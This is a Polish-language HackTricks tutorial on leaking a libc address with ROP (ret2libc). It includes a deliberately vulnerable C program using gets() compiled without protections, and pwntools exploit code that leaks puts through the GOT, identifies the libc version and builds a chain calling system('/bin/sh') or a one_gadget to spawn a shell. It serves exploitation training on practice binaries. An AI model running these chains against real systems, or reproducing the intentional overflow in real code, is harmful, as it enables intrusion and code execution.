Leaking libc address with ROP

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Szybkie podsumowanie

  1. Znajdź przesunięcie przepełnienia

  2. Znajdź gadżet POP_RDI, PUTS_PLT i MAIN

  3. Użyj poprzednich gadżetów do wycieku adresu pamięci funkcji puts lub innej funkcji libc i znajdź wersję biblioteki libc (pobierz ją)

  4. Z biblioteką oblicz ROP i wykorzystaj to

Inne samouczki i binaria do praktyki

Ten samouczek będzie wykorzystywał kod/binarny zaproponowany w tym samouczku: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ Inne przydatne samouczki: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Kod

Nazwa pliku: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

Szablon ROP - Wyciek LIBC

Pobierz exploit i umieść go w tym samym katalogu co podatny plik binarny oraz podaj wymagane dane skryptowi:

pageLeaking libc - template

1- Znalezienie przesunięcia

Szablon wymaga przesunięcia przed kontynuacją eksploitacji. Jeśli nie zostanie podane, zostanie wykonany niezbędny kod do jego znalezienia (domyślnie OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Wykonaj python template.py, otworzy się konsola GDB z programem, który uległ awarii. Wewnątrz tej konsoli GDB wykonaj x/wx $rsp, aby uzyskać bajty, które miały nadpisać RIP. Ostatecznie uzyskaj przesunięcie za pomocą konsoli python:

from pwn import *
cyclic_find(0x6161616b)

Po znalezieniu przesunięcia (w tym przypadku 40) zmień zmienną OFFSET w szablonie, używając tej wartości. OFFSET = "A" * 40

Innym sposobem byłoby użycie: pattern create 1000 -- wykonaj do ret -- pattern seach $rsp z GEF.

2- Znajdowanie Gadgetów

Teraz musimy znaleźć Gadgety ROP wewnątrz pliku binarnego. Te Gadgety ROP będą przydatne do wywołania puts w celu znalezienia używanej biblioteki libc, a później do uruchomienia ostatecznego ataku.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLT jest potrzebny do wywołania funkcji puts. MAIN_PLT jest potrzebny do ponownego wywołania funkcji main po jednej interakcji, aby ponownie wykorzystać nadmiar (nieskończone rundy eksploatacji). Jest używany na końcu każdego ROP, aby ponownie wywołać program. POP_RDI jest potrzebny do przekazania parametru do wywołanej funkcji.

W tym kroku nie musisz niczego wykonywać, ponieważ wszystko zostanie znalezione przez narzędzie pwntools podczas wykonywania.

3- Znajdowanie biblioteki libc

Nadszedł czas, aby dowiedzieć się, która wersja biblioteki libc jest używana. Aby to zrobić, zamierzamy wyciek adresu w pamięci funkcji puts, a następnie będziemy szukać, w której wersji biblioteki znajduje się wersja puts pod tym adresem.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Aby to zrobić, najważniejsza linia wykonanego kodu to:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

To wyśle kilka bajtów, aż nadpisze RIP: OFFSET. Następnie ustawiony zostanie adres gadżetu POP_RDI, aby następny adres (FUNC_GOT) został zapisany w rejestrze RDI. Dzieje się tak, ponieważ chcemy wywołać puts, przekazując mu adres PUTS_GOT, ponieważ adres w pamięci funkcji puts jest zapisany pod adresem wskazywanym przez PUTS_GOT. Następnie zostanie wywołane PUTS_PLT (z PUTS_GOT w RDI), dzięki czemu puts odczyta zawartość wewnątrz PUTS_GOT (adres funkcji puts w pamięci) i wypisze go. Na koniec ponownie zostanie wywołana funkcja main, abyśmy mogli ponownie wykorzystać przepełnienie.

W ten sposób oszukaliśmy funkcję puts, aby wypisała adres w pamięci funkcji puts (która znajduje się w bibliotece libc). Teraz, gdy mamy ten adres, możemy sprawdzić, która wersja libc jest używana.

Ponieważ wykorzystujemy pewien lokalny plik binarny, nie jest konieczne ustalenie, która wersja libc jest używana (wystarczy znaleźć bibliotekę w /lib/x86_64-linux-gnu/libc.so.6). Jednak w przypadku zdalnego ataku wyjaśnię tutaj, jak możesz to znaleźć:

3.1- Wyszukiwanie wersji libc (1)

Możesz sprawdzić, która biblioteka jest używana na stronie internetowej: https://libc.blukat.me/ Pozwoli to również pobrać odkrytą wersję libc

3.2- Wyszukiwanie wersji libc (2)

Możesz także zrobić:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

To zajmie trochę czasu, bądź cierpliwy. Aby to zadziałało, potrzebujemy:

  • Nazwa symbolu Libc: puts

  • Wyciekły adres libc: 0x7ff629878690

Możemy ustalić, która libc jest najprawdopodobniej używana.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Otrzymujemy 2 dopasowania (powinieneś spróbować drugiego, jeśli pierwsze nie działa). Pobierz pierwsze:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

3.3- Inne funkcje do wycieku

Skopiuj libc z libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so do naszego katalogu roboczego.

puts
printf
__libc_start_main
read
gets

4- Znajdowanie adresu biblioteki libc i eksploatacja

W tym momencie powinniśmy znać używaną bibliotekę libc. Ponieważ wykorzystujemy lokalny plik binarny, użyję tylko: /lib/x86_64-linux-gnu/libc.so.6

Więc na początku pliku template.py zmień zmienną libc na: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Ustaw ścieżkę biblioteki gdy ją znasz

Podając ścieżkę do biblioteki libc, reszta eksploatacji będzie automatycznie obliczana.

Wewnątrz funkcji get_addr zostanie obliczony adres bazowy libc:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

Należy pamiętać, że końcowy adres podstawy libc musi kończyć się cyfrą 00. Jeśli tak nie jest w twoim przypadku, możesz ujawnić nieprawidłową bibliotekę.

Następnie adres funkcji system oraz adres łańcucha "/bin/sh" zostaną obliczone na podstawie adresu podstawy libc i danej biblioteki libc.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Ostatecznie exploit wykonujący /bin/sh zostanie przygotowany i wysłany:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Wyjaśnijmy ten ostatni ROP.

Ostatni ROP (rop1) kończył się ponownym wywołaniem funkcji main, dzięki czemu możemy ponownie wykorzystać przepełnienie (dlatego tu znowu jest OFFSET). Następnie chcemy wywołać POP_RDI, wskazując na adres "/bin/sh" (BINSH) i wywołać funkcję system (SYSTEM), ponieważ adres "/bin/sh" zostanie przekazany jako parametr. Na koniec wywoływany jest adres funkcji exit, aby proces ładnie zakończył działanie i nie generował żadnych alertów.

W ten sposób exploit uruchomi powłokę _/bin/sh.

4(2)- Używanie ONE_GADGET

Możesz również użyć ONE_GADGET, aby uzyskać powłokę zamiast korzystać z system i "/bin/sh". ONE_GADGET znajdzie w bibliotece libc sposób uzyskania powłoki, korzystając tylko z jednego adresu ROP. Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do uniknięcia to takie jak [rsp+0x30] == NULL. Ponieważ kontrolujesz wartości w RSP, wystarczy wysłać kilka dodatkowych wartości NULL, aby uniknąć ograniczenia.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

PLIK EXPLOITACJI

Szablon do wykorzystania tej podatności znajdziesz tutaj:

pageLeaking libc - template

Powszechne problemy

MAIN_PLT = elf.symbols['main'] nie został znaleziony

Jeśli symbol "main" nie istnieje. W takim przypadku możesz znaleźć, gdzie znajduje się kod główny:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

i ustaw adres ręcznie:

MAIN_PLT = 0x401080

Puts not found

Jeśli plik binarny nie używa Puts, powinieneś sprawdzić, czy używa

sh: 1: %s%s%s%s%s%s%s%s: not found

Jeśli znajdziesz ten błąd po utworzeniu wszystkich exploitów: sh: 1: %s%s%s%s%s%s%s%s: not found

Spróbuj odjąć 64 bajty od adresu "/bin/sh":

BINSH = next(libc.search("/bin/sh")) - 64
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated